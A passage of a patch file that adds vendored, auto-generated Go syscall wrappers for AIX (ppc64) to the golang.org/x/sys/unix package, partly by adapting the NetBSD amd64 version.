-+ r0, er := C.getsockname(C.int(fd), C.uintptr_t(uintptr(unsafe.Pointer(rsa))), C.uintptr_t(uintptr(unsafe.Pointer(addrlen))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Socklen) (n int, err error) {
-+ var _p0 *byte
-+ if len(p) > 0 {
-+ _p0 = &p[0]
-+ }
-+ var _p1 int
-+ _p1 = len(p)
-+ r0, er := C.recvfrom(C.int(fd), C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1), C.int(flags), C.uintptr_t(uintptr(unsafe.Pointer(from))), C.uintptr_t(uintptr(unsafe.Pointer(fromlen))))
-+ n = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error) {
-+ var _p0 *byte
-+ if len(buf) > 0 {
-+ _p0 = &buf[0]
-+ }
-+ var _p1 int
-+ _p1 = len(buf)
-+ r0, er := C.sendto(C.int(s), C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1), C.int(flags), C.uintptr_t(uintptr(to)), C.uintptr_t(uintptr(addrlen)))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) {
-+ r0, er := C.nrecvmsg(C.int(s), C.uintptr_t(uintptr(unsafe.Pointer(msg))), C.int(flags))
-+ n = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) {
-+ r0, er := C.nsendmsg(C.int(s), C.uintptr_t(uintptr(unsafe.Pointer(msg))), C.int(flags))
-+ n = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func munmap(addr uintptr, length uintptr) (err error) {
-+ r0, er := C.munmap(C.uintptr_t(addr), C.uintptr_t(length))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Madvise(b []byte, advice int) (err error) {
-+ var _p0 *byte
-+ if len(b) > 0 {
-+ _p0 = &b[0]
-+ }
-+ var _p1 int
-+ _p1 = len(b)
-+ r0, er := C.madvise(C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1), C.int(advice))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Mprotect(b []byte, prot int) (err error) {
-+ var _p0 *byte
-+ if len(b) > 0 {
-+ _p0 = &b[0]
-+ }
-+ var _p1 int
-+ _p1 = len(b)
-+ r0, er := C.mprotect(C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1), C.int(prot))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Mlock(b []byte) (err error) {
-+ var _p0 *byte
-+ if len(b) > 0 {
-+ _p0 = &b[0]
-+ }
-+ var _p1 int
-+ _p1 = len(b)
-+ r0, er := C.mlock(C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Mlockall(flags int) (err error) {
-+ r0, er := C.mlockall(C.int(flags))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Msync(b []byte, flags int) (err error) {
-+ var _p0 *byte
-+ if len(b) > 0 {
-+ _p0 = &b[0]
-+ }
-+ var _p1 int
-+ _p1 = len(b)
-+ r0, er := C.msync(C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1), C.int(flags))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Munlock(b []byte) (err error) {
-+ var _p0 *byte
-+ if len(b) > 0 {
-+ _p0 = &b[0]
-+ }
-+ var _p1 int
-+ _p1 = len(b)
-+ r0, er := C.munlock(C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Munlockall() (err error) {
-+ r0, er := C.munlockall()
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func pipe(p *[2]_C_int) (err error) {
-+ r0, er := C.pipe(C.uintptr_t(uintptr(unsafe.Pointer(p))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, er := C.poll(C.uintptr_t(uintptr(unsafe.Pointer(fds))), C.int(nfds), C.int(timeout))
-+ n = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func gettimeofday(tv *Timeval, tzp *Timezone) (err error) {
-+ r0, er := C.gettimeofday(C.uintptr_t(uintptr(unsafe.Pointer(tv))), C.uintptr_t(uintptr(unsafe.Pointer(tzp))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Time(t *Time_t) (tt Time_t, err error) {
-+ r0, er := C.time(C.uintptr_t(uintptr(unsafe.Pointer(t))))
-+ tt = Time_t(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Utime(path string, buf *Utimbuf) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.utime(C.uintptr_t(_p0), C.uintptr_t(uintptr(unsafe.Pointer(buf))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getsystemcfg(label int) (n uint64) {
-+ r0, _ := C.getsystemcfg(C.int(label))
-+ n = uint64(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func umount(target string) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(target)))
-+ r0, er := C.umount(C.uintptr_t(_p0))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getrlimit(resource int, rlim *Rlimit) (err error) {
-+ r0, er := C.getrlimit64(C.int(resource), C.uintptr_t(uintptr(unsafe.Pointer(rlim))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Setrlimit(resource int, rlim *Rlimit) (err error) {
-+ r0, er := C.setrlimit64(C.int(resource), C.uintptr_t(uintptr(unsafe.Pointer(rlim))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Seek(fd int, offset int64, whence int) (off int64, err error) {
-+ r0, er := C.lseek64(C.int(fd), C.longlong(offset), C.int(whence))
-+ off = int64(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int64) (xaddr uintptr, err error) {
-+ r0, er := C.mmap(C.uintptr_t(addr), C.uintptr_t(length), C.int(prot), C.int(flags), C.int(fd), C.longlong(offset))
-+ xaddr = uintptr(r0)
-+ if uintptr(r0) == ^uintptr(0) && er != nil {
-+ err = er
-+ }
-+ return
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_netbsd_amd64.go b/vendor/golang.org/x/sys/unix/zsyscall_aix_ppc64.go
-similarity index 57%
-copy from vendor/golang.org/x/sys/unix/zsyscall_netbsd_amd64.go
-copy to vendor/golang.org/x/sys/unix/zsyscall_aix_ppc64.go
-index 7b6c2c87..664b293b 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_netbsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_aix_ppc64.go
-@@ -1,22 +1,23 @@
--// mksyscall.pl -netbsd -tags netbsd,amd64 syscall_bsd.go syscall_netbsd.go syscall_netbsd_amd64.go
-+// go run mksyscall_aix_ppc64.go -aix -tags aix,ppc64 syscall_aix.go syscall_aix_ppc64.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build netbsd,amd64
-+// +build aix,ppc64
-
- package unix
-
- import (
-- "syscall"
- "unsafe"
- )
-
--var _ syscall.Errno
--
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func getgroups(ngid int, gid *_Gid_t) (n int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETGROUPS, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
-- n = int(r0)
-+func utimes(path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, e1 := callutimes(uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -25,8 +26,13 @@ func getgroups(ngid int, gid *_Gid_t) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func setgroups(ngid int, gid *_Gid_t) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETGROUPS, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
-+func utimensat(dirfd int, path string, times *[2]Timespec, flag int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, e1 := callutimensat(dirfd, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), flag)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -35,9 +41,12 @@ func setgroups(ngid int, gid *_Gid_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) {
-- r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
-- wpid = int(r0)
-+func getcwd(buf []byte) (err error) {
-+ var _p0 *byte
-+ if len(buf) > 0 {
-+ _p0 = &buf[0]
-+ }
-+ _, e1 := callgetcwd(uintptr(unsafe.Pointer(_p0)), len(buf))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -47,7 +56,7 @@ func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_ACCEPT, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
-+ r0, e1 := callaccept(s, uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -57,8 +66,13 @@ func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
-- _, _, e1 := Syscall(SYS_BIND, uintptr(s), uintptr(addr), uintptr(addrlen))
-+func getdirent(fd int, buf []byte) (n int, err error) {
-+ var _p0 *byte
-+ if len(buf) > 0 {
-+ _p0 = &buf[0]
-+ }
-+ r0, e1 := callgetdirent(fd, uintptr(unsafe.Pointer(_p0)), len(buf))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -67,8 +81,9 @@ func bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func connect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
-- _, _, e1 := Syscall(SYS_CONNECT, uintptr(s), uintptr(addr), uintptr(addrlen))
-+func wait4(pid Pid_t, status *_C_int, options int, rusage *Rusage) (wpid Pid_t, err error) {
-+ r0, e1 := callwait4(int(pid), uintptr(unsafe.Pointer(status)), options, uintptr(unsafe.Pointer(rusage)))
-+ wpid = Pid_t(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -77,9 +92,8 @@ func connect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func socket(domain int, typ int, proto int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SOCKET, uintptr(domain), uintptr(typ), uintptr(proto))
-- fd = int(r0)
-+func ioctl(fd int, req uint, arg uintptr) (err error) {
-+ _, e1 := callioctl(fd, int(req), arg)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -88,8 +102,9 @@ func socket(domain int, typ int, proto int) (fd int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func getsockopt(s int, level int, name int, val unsafe.Pointer, vallen *_Socklen) (err error) {
-- _, _, e1 := Syscall6(SYS_GETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(unsafe.Pointer(vallen)), 0)
-+func FcntlInt(fd uintptr, cmd int, arg int) (r int, err error) {
-+ r0, e1 := callfcntl(fd, cmd, uintptr(arg))
-+ r = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -98,8 +113,8 @@ func getsockopt(s int, level int, name int, val unsafe.Pointer, vallen *_Socklen
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func setsockopt(s int, level int, name int, val unsafe.Pointer, vallen uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_SETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(vallen), 0)
-+func FcntlFlock(fd uintptr, cmd int, lk *Flock_t) (err error) {
-+ _, e1 := callfcntl(fd, cmd, uintptr(unsafe.Pointer(lk)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -108,8 +123,9 @@ func setsockopt(s int, level int, name int, val unsafe.Pointer, vallen uintptr)
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func getpeername(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETPEERNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
-+func fcntl(fd int, cmd int, arg int) (val int, err error) {
-+ r0, e1 := callfcntl(uintptr(fd), cmd, uintptr(arg))
-+ val = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -118,8 +134,13 @@ func getpeername(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func getsockname(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETSOCKNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
-+func Acct(path string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, e1 := callacct(uintptr(unsafe.Pointer(_p0)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -128,8 +149,13 @@ func getsockname(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Shutdown(s int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_SHUTDOWN, uintptr(s), uintptr(how), 0)
-+func Chdir(path string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, e1 := callchdir(uintptr(unsafe.Pointer(_p0)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -138,8 +164,13 @@ func Shutdown(s int, how int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func socketpair(domain int, typ int, proto int, fd *[2]int32) (err error) {
-- _, _, e1 := RawSyscall6(SYS_SOCKETPAIR, uintptr(domain), uintptr(typ), uintptr(proto), uintptr(unsafe.Pointer(fd)), 0, 0)
-+func Chroot(path string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, e1 := callchroot(uintptr(unsafe.Pointer(_p0)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -148,15 +179,8 @@ func socketpair(domain int, typ int, proto int, fd *[2]int32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Socklen) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_RECVFROM, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(flags), uintptr(unsafe.Pointer(from)), uintptr(unsafe.Pointer(fromlen)))
-- n = int(r0)
-+func Close(fd int) (err error) {
-+ _, e1 := callclose(fd)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -165,14 +189,9 @@ func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Sockl
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_SENDTO, uintptr(s), uintptr(_p0), uintptr(len(buf)), uintptr(flags), uintptr(to), uintptr(addrlen))
-+func Dup(oldfd int) (fd int, err error) {
-+ r0, e1 := calldup(oldfd)
-+ fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -181,9 +200,20 @@ func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_RECVMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
-- n = int(r0)
-+func Exit(code int) {
-+ callexit(code)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, e1 := callfaccessat(dirfd, uintptr(unsafe.Pointer(_p0)), mode, flags)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -192,9 +222,8 @@ func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_SENDMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
-- n = int(r0)
-+func Fchdir(fd int) (err error) {
-+ _, e1 := callfchdir(fd)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -203,9 +232,8 @@ func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, nevent int, timeout *Timespec) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_KEVENT, uintptr(kq), uintptr(change), uintptr(nchange), uintptr(event), uintptr(nevent), uintptr(unsafe.Pointer(timeout)))
-- n = int(r0)
-+func Fchmod(fd int, mode uint32) (err error) {
-+ _, e1 := callfchmod(fd, mode)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -214,14 +242,13 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-+func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
- }
-- _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-+ _, e1 := callfchmodat(dirfd, uintptr(unsafe.Pointer(_p0)), mode, flags)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -230,13 +257,13 @@ func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr)
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func utimes(path string, timeval *[2]Timeval) (err error) {
-+func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(timeval)), 0)
-+ _, e1 := callfchownat(dirfd, uintptr(unsafe.Pointer(_p0)), uid, gid, flags)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -245,8 +272,8 @@ func utimes(path string, timeval *[2]Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func futimes(fd int, timeval *[2]Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_FUTIMES, uintptr(fd), uintptr(unsafe.Pointer(timeval)), 0)
-+func Fdatasync(fd int) (err error) {
-+ _, e1 := callfdatasync(fd)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -255,9 +282,8 @@ func futimes(fd int, timeval *[2]Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func Fsync(fd int) (err error) {
-+ _, e1 := callfsync(fd)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -266,14 +292,9 @@ func fcntl(fd int, cmd int, arg int) (val int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Madvise(b []byte, behav int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(behav))
-+func Getpgid(pid int) (pgid int, err error) {
-+ r0, e1 := callgetpgid(pid)
-+ pgid = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -282,56 +303,33 @@ func Madvise(b []byte, behav int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Mlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-+func Getpgrp() (pid int) {
-+ r0, _ := callgetpgrp()
-+ pid = int(r0)
- return
- }
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Mlockall(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-+func Getpid() (pid int) {
-+ r0, _ := callgetpid()
-+ pid = int(r0)
- return
- }
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Mprotect(b []byte, prot int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-+func Getppid() (ppid int) {
-+ r0, _ := callgetppid()
-+ ppid = int(r0)
- return
- }
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Msync(b []byte, flags int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags))
-+func Getpriority(which int, who int) (prio int, err error) {
-+ r0, e1 := callgetpriority(which, who)
-+ prio = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -340,14 +338,8 @@ func Msync(b []byte, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Munlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
-+func Getrusage(who int, rusage *Rusage) (err error) {
-+ _, e1 := callgetrusage(who, uintptr(unsafe.Pointer(rusage)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -356,8 +348,9 @@ func Munlock(b []byte) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Munlockall() (err error) {
-- _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
-+func Getsid(pid int) (sid int, err error) {
-+ r0, e1 := callgetsid(pid)
-+ sid = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -366,10 +359,8 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe() (fd1 int, fd2 int, err error) {
-- r0, r1, e1 := RawSyscall(SYS_PIPE, 0, 0, 0)
-- fd1 = int(r0)
-- fd2 = int(r1)
-+func Kill(pid int, sig Signal) (err error) {
-+ _, e1 := callkill(pid, int(sig))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -378,14 +369,12 @@ func pipe() (fd1 int, fd2 int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func getdents(fd int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
